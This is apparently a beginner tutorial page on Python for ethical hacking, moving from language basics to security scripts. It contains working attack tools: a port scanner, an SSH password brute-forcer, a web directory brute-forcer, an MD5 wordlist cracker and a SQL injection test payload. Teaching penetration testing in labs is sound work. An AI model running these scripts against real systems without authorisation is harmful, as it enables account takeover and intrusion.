01 · INTRODUCTION

🐍 What Is Python for Hackers?

Python is a high-level, interpreted programming language created by Guido van Rossum in 1991. Today it's the world's most popular programming language — and for good reason. It's readable, powerful, and comes with a massive ecosystem of libraries that make it ideal for everything from web development to machine learning.

But here's the thing: Python is also the #1 language for ethical hacking and cybersecurity. Why? Because it lets you write powerful automation, build custom tooling, and connect to networks — all with just a few lines of code. Most modern hacking tools (from sqlmap to Impacket to Volatility) are written in Python.

In this guide, you'll go from writing your first print("Hello, Hacker") to building actual penetration testing scripts — port scanners, brute-forcers, web scrapers, and more. No prior programming experience required.

💡 Note: This guide uses Python 3 — the modern version. If you're on Kali Linux, Python 3 comes pre-installed. Just open a terminal and type python3 --version.
02 · WHY PYTHON FOR HACKERS

💡 Why Ethical Hackers Love Python

You might ask: "Why Python and not C, C++, or Go?" The answer comes down to speed of development, readability, and an unmatched security library ecosystem. Here's what makes Python special in the hacking world:

⚡

Rapid Prototyping

Write a working exploit in 10 minutes. No compiler, no boilerplate — just code and run.

📚

Massive Library Ecosystem

Scapy, Requests, Paramiko, Impacket, Socket — everything you need is one pip install away.

🔧

Cross-Platform

Write on Linux, run on Windows, Mac, or Android. Same code, everywhere.

📖

Readable Syntax

Python reads like English. You focus on logic, not syntax gymnastics.

🛡️

Industry Standard

Almost every modern pentest tool, exploit, and PoC is written in Python.

🤖

AI & ML Integration

Build intelligent fuzzers and anomaly detectors with TensorFlow, PyTorch.

🔑 Key Insight: The best hackers combine Python (for logic and automation) with Bash (for system orchestration). Together, they form the ultimate hacking duo.
03 · FUNDAMENTALS

📚 Python Fundamentals

Every Python program starts with a simple idea: write instructions, run them. Let's begin with the basics.

Your First Python Script

# hello.py — your first Python script print("Hello, Ethical Hacker!") print("Welcome to Python for Hackers")

Run it from the terminal:

python3 hello.py

Variables & Data

# Variables — no need to declare types target = "192.168.1.100" port = 22 is_open = True version = 3.11 # f-strings (formatted strings) — the modern way print(f"Target: {target} on port {port}") print(f"Status open? {is_open}") # Multiple assignment host, user, passwd = "10.0.0.1", "admin", "secret"

Basic Operators

OperatorMeaningExample
+Addition5 + 3 = 8
-Subtraction5 - 3 = 2
*Multiplication5 * 3 = 15
/Division (float)5 / 3 = 1.67
//Integer division5 // 3 = 1
%Modulus (remainder)5 % 3 = 2
**Exponent2 ** 8 = 256
==Equal to5 == 5 → True
!=Not equal5 != 3 → True
and, or, notLogical operatorsTrue and False → False
04 · DATA TYPES

📦 Data Types & Structures

Python has powerful built-in data structures that make it perfect for handling everything from wordlists to network packets.

Strings

url = "https://target.com/admin" # Common string operations print(url.upper()) # HTTPS://TARGET.COM/ADMIN print(url.split("/")) # ['https:', '', 'target.com', 'admin'] print(url.replace("admin", "login")) print("admin" in url) # True print(url[8:18]) # Slice: 'target.com'

Lists — Ordered Collections

ports = [21, 22, 80, 443, 3306] ports.append(8080) # Add to end ports.remove(21) # Remove specific ports.sort() # Sort in place print(ports[0]) # First element print(ports[-1]) # Last element print(len(ports)) # Length print(ports[1:3]) # Slice [22, 80] # List comprehension — Pythonic power open_ports = [p for p in ports if p < 1000] print(open_ports) # [22, 80, 443]

Dictionaries — Key-Value Pairs

target = { "ip": "192.168.1.1", "ports": [22, 80, 443], "os": "Linux", "vulnerable": True } print(target["ip"]) # 192.168.1.1 target["country"] = "IN" # Add new key for key, value in target.items(): print(f"{key}: {value}")

Tuples & Sets

# Tuple — immutable list (cannot be changed) credentials = ("admin", "password123") # Set — unique elements, no duplicates unique_ips = {"10.0.0.1", "10.0.0.2", "10.0.0.1"} print(unique_ips) # {'10.0.0.1', '10.0.0.2'}
05 · CONTROL FLOW

🔀 Control Flow — Making Decisions

If / Elif / Else

port = 443 if port == 22: print("SSH detected") elif port == 80: print("HTTP detected") elif port == 443: print("HTTPS detected — encrypted") else: print(f"Unknown service on port {port}")

For Loops

# Loop through a list for port in [22, 80, 443]: print(f"Scanning port {port}") # Loop with index for i, port in enumerate([22, 80, 443]): print(f"{i+1}. Port {port}") # Loop through range for i in range(1, 255): print(f"192.168.1.{i}") # Loop through a dictionary target = {"ip": "10.0.0.1", "port": 22} for key, value in target.items(): print(f"{key} = {value}")

While Loops

attempts = 0 while attempts < 5: print(f"Attempt {attempts+1}") attempts += 1 # Loop with break and continue for port in range(1, 1025): if port == 100: break # Exit the loop if port % 2 == 0: continue # Skip even ports print(port)
06 · FUNCTIONS & MODULES

🧩 Functions, Modules & Reusability

Defining Functions

def scan_port(host, port): """Simple TCP port scanner using sockets.""" import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) result = sock.connect_ex((host, port)) sock.close() return result == 0 # Call the function if scan_port("192.168.1.1", 22): print("[+] Port 22 is OPEN")

Default & Keyword Arguments

def brute_force(target, port=22, threads=10, verbose=False): if verbose: print(f"Attacking {target}:{port} with {threads} threads") # ... attack logic ... brute_force("10.0.0.1") brute_force("10.0.0.1", port=21, verbose=True)

Importing Modules

# Import whole module import socket # Import specific functions from socket import socket, gethostbyname # Aliased import import socket as s # Common modules for hackers import os, sys, subprocess, socket, requests, re, json, base64, hashlib
07 · FILE HANDLING

📁 File Handling — Reading Wordlists & Logs

Most hacking scripts deal with files: wordlists for brute-force, log files for analysis, config files, and output reports.

# Read a wordlist line by line (memory-efficient) with open("/usr/share/wordlists/rockyou.txt", "r", errors="ignore") as f: for line in f: password = line.strip() print(f"Trying: {password}") # Write results to a file with open("results.txt", "w") as f: f.write("Scan complete\n") f.write(f"Found 3 open ports\n") # Append to a file (doesn't overwrite) with open("log.txt", "a") as f: f.write(f"[+] New target: {ip}\n") # Read entire file at once with open("config.json") as f: data = f.read()

Working with JSON

import json # Parse JSON from file with open("scan.json") as f: data = json.load(f) print(data["hosts"]) # Save results as JSON results = {"target": "192.168.1.1", "ports": [22, 80, 443]} with open("output.json", "w") as f: json.dump(results, f, indent=2)
08 · NETWORKING

🌐 Networking with Sockets

The socket module is the foundation of all network hacking in Python. It lets you connect to hosts, send data, and build custom protocols.

Basic Socket Connection

import socket # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) # Try to connect try: s.connect(("192.168.1.1", 22)) print("[+] Port 22 is open") banner = s.recv(1024) print(f"Banner: {banner.decode()}") except socket.timeout: print("[-] Connection timed out") except ConnectionRefusedError: print("[-] Port closed") finally: s.close()

Resolving Hostnames

import socket # Get IP from domain name ip = socket.gethostbyname("example.com") print(f"example.com → {ip}") # Reverse lookup — get domain from IP host = socket.gethostbyaddr("8.8.8.8") print(host) # ('dns.google', [], ['8.8.8.8'])

Multi-Threaded Port Scanner

import socket from concurrent.futures import ThreadPoolExecutor def scan(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) if s.connect_ex((host, port)) == 0: print(f"[+] Port {port} OPEN") s.close() target = "192.168.1.1" with ThreadPoolExecutor(max_workers=100) as executor: for port in range(1, 1025): executor.submit(scan, target, port)
09 · HACKING LIBRARIES

📚 Essential Python Libraries for Hackers

These libraries will supercharge your hacking scripts. Install them with pip install <name>.

🌐requests

Simplest way to make HTTP requests. Perfect for web scraping, API hacking, and fuzzing.

🐍scapy

Packet crafting and manipulation. Build custom packets, sniff traffic, ARP spoofing.

🔗paramiko

SSH client library. Automate SSH commands, SFTP transfers, and brute-forcing.

💥impacket

Windows network protocols. SMB, MSRPC, Kerberos exploitation toolkit.

🕸️beautifulsoup4

HTML/XML parser for web scraping. Extract links, forms, and data easily.

🔍python-nmap

Python wrapper for Nmap. Run scans programmatically and parse results.

🔐cryptography

Modern crypto library. Encrypt, decrypt, sign, verify, hash.

🌍selenium

Browser automation. Test web apps, scrape JavaScript-heavy sites.

📡pwntools

CTF and exploit development framework. Buffer overflows, ROP chains.

📊pandas

Data analysis. Parse logs, analyze scan results, generate reports.

10 · REAL SCRIPTS

⚙️ Real Hacking Scripts

Script 1: TCP Port Scanner

import socket import sys from datetime import datetime def scan_port(host, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) result = s.connect_ex((host, port)) if result == 0: try: s.send(b"HEAD / HTTP/1.0\r\n\r\n") banner = s.recv(1024).decode().strip() except: banner = "" print(f"[+] Port {port} OPEN {banner}") s.close() except: pass if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" print(f"Scanning {target}... started at {datetime.now()}") for port in range(1, 1025): scan_port(target, port) print("Scan complete.")

Script 2: SSH Brute-Forcer (with Paramiko)

# pip install paramiko import paramiko def try_ssh(host, user, password): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(host, username=user, password=password, timeout=3) return True except paramiko.AuthenticationException: return False except Exception: return False finally: client.close() host = "192.168.1.1" user = "admin" with open("passwords.txt") as f: for pw in f: pw = pw.strip() if try_ssh(host, user, pw): print(f"[+] FOUND: {user}:{pw}") break else: print(f"[-] Failed: {pw}")

Script 3: Directory Brute-Forcer

import requests url = "http://target.com" wordlist = "/usr/share/wordlists/dirb/common.txt" with open(wordlist) as f: for line in f: path = line.strip() if not path: continue full = f"{url}/{path}" try: r = requests.get(full, timeout=3, allow_redirects=False) if r.status_code != 404: print(f"[+] {r.status_code} — {full}") except requests.RequestException: pass

Script 4: Subdomain Enumerator

import requests domain = "example.com" subs = ["www", "mail", "api", "dev", "admin", "test", "ftp", "blog"] for sub in subs: url = f"http://{sub}.{domain}" try: r = requests.get(url, timeout=3) print(f"[+] Found: {url} → {r.status_code}") except requests.RequestException: pass

Script 5: Hash Cracker

import hashlib target_hash = "5f4dcc3b5aa765d61d8327deb882cf99" # md5("password") wordlist = "/usr/share/wordlists/rockyou.txt" with open(wordlist, errors="ignore") as f: for word in f: word = word.strip() h = hashlib.md5(word.encode()).hexdigest() if h == target_hash: print(f"[+] CRACKED: {word}") break
11 · WEB HACKING

🕸️ Web Hacking with Python

The requests library makes HTTP hacking incredibly easy. Here's how to interact with web apps programmatically.

import requests # Basic GET request r = requests.get("https://target.com") print(r.status_code) print(r.headers) # Custom headers (User-Agent spoofing) headers = {"User-Agent": "Mozilla/5.0 (Hacker)"} r = requests.get("https://target.com", headers=headers) # POST request (login form) data = {"username": "admin", "password": "test"} r = requests.post("https://target.com/login", data=data) # Using a session (keeps cookies) s = requests.Session() s.post("https://target.com/login", data=data) r = s.get("https://target.com/dashboard") # SQL injection test payload = "' OR '1'='1" r = requests.get(f"https://target.com/page.php?id={payload}") # Ignore SSL errors (for self-signed certs) r = requests.get("https://target.com", verify=False) # Use a proxy (Burp Suite) proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} r = requests.get("https://target.com", proxies=proxies, verify=False)

Web Scraping with BeautifulSoup

# pip install beautifulsoup4 import requests from bs4 import BeautifulSoup r = requests.get("https://target.com") soup = BeautifulSoup(r.text, "html.parser") # Extract all links for link in soup.find_all("a"): href = link.get("href") if href: print(href) # Find all forms (potential login pages) for form in soup.find_all("form"): print(form.get("action")) # Extract all emails import re emails = re.findall(r"[\w\.-]+@[\w\.-]+\.\w+", r.text) print(set(emails))
12 · CRYPTOGRAPHY

🔐 Cryptography & Hashing

Python's hashlib and cryptography libraries give you powerful crypto tools — for cracking, encoding, and building secure systems.

Hashing

import hashlib data = "password123".encode() print(hashlib.md5(data).hexdigest()) print(hashlib.sha1(data).hexdigest()) print(hashlib.sha256(data).hexdigest()) print(hashlib.sha512(data).hexdigest())

Base64 Encoding

import base64 # Encode encoded = base64.b64encode(b"admin:password") print(encoded) # b'YWRtaW46cGFzc3dvcmQ=' # Decode decoded = base64.b64decode(encoded) print(decoded) # b'admin:password' # URL-safe Base64 base64.urlsafe_b64encode(b"data")

XOR Encryption

def xor_encrypt(data, key): return bytes([b ^ key for b in data]) plaintext = b"Secret message" key = 42 encrypted = xor_encrypt(plaintext, key) print(encrypted) # XOR is symmetric — same operation decrypts decrypted = xor_encrypt(encrypted, key) print(decrypted.decode())
13 · USE CASES

🎯 Where Python Shines in Hacking

🔎

Recon Automation

Scrape WHOIS, enumerate subdomains, gather OSINT from APIs.

🌐

Custom Scanners

Build port scanners, vulnerability scanners, and fuzzers from scratch.

💥

Exploit Development

Craft buffer overflows, ROP chains, shellcode with pwntools.

🔐

Password Cracking

Custom hash crackers, wordlist generators, and brute-forcers.

🕸️

Web Exploitation

Automate SQL injection, XSS, SSRF, and directory brute-forcing.

📡

Network Attacks

ARP spoofing, DNS poisoning, packet sniffing with Scapy.

🤖

Malware Analysis

Parse PE headers, extract strings, automate sandbox analysis.

📊

Report Generation

Format scan results into PDF/HTML reports automatically.

14 · BEST PRACTICES

✅ Best Practices for Hacking Scripts

  1. Use virtual environments — python3 -m venv venv isolates dependencies.
  2. Handle exceptions — Wrap network calls in try/except to prevent crashes.
  3. Add timeouts — Never let a socket hang forever. Use settimeout().
  4. Use threading for speed — ThreadPoolExecutor for parallel scans.
  5. Log everything — Write results to file for later analysis.
  6. Validate input — Never trust user input, sanitize before use.
  7. Comment your code — Future you will thank you.
  8. Follow PEP 8 — Python's style guide makes code readable.
  9. Use argparse — For clean command-line argument handling.
  10. Test in a lab — Always use legal environments (TryHackMe, HTB).

Virtual Environment Setup

# Create virtual environment python3 -m venv hacker_env # Activate it source hacker_env/bin/activate # Install packages pip install requests scapy paramiko # Deactivate when done deactivate

Using argparse for CLI

import argparse parser = argparse.ArgumentParser(description="Port Scanner") parser.add_argument("target", help="Target IP address") parser.add_argument("-p", "--ports", default="1-1024", help="Port range") parser.add_argument("-v", "--verbose", action="store_true") args = parser.parse_args() print(f"Target: {args.target}, Ports: {args.ports}")
16 · CONCLUSION

🎓 Final Thoughts

Python is the single most valuable programming language for ethical hackers. Its combination of simplicity, power, and a massive security library ecosystem makes it the language of choice for everyone from beginners to elite red teamers.

The journey from beginner to expert follows a clear path:

  1. Learn the basics — variables, loops, functions, files.
  2. Master the libraries — requests, socket, scapy, paramiko.
  3. Build small tools — port scanners, brute-forcers, scrapers.
  4. Read others' code — study open-source exploits on GitHub.
  5. Practice daily — TryHackMe, HackTheBox, and CTFs.
  6. Build a portfolio — share your tools on GitHub.

Remember: the terminal is your weapon, and Python is your language. Master it, and you'll be able to build custom tooling that rivals commercial products — all with clean, readable code.

🚀 Next Steps: Pick one script from this guide, type it out (don't copy-paste!), and run it against a vulnerable VM. Then modify it. Then write your own. Within weeks, Python will be second nature.

Happy hacking — ethically. 🐍